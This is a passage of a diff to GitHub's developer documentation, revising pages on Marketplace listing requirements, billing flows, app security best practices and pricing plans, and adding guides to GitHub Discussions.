reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: 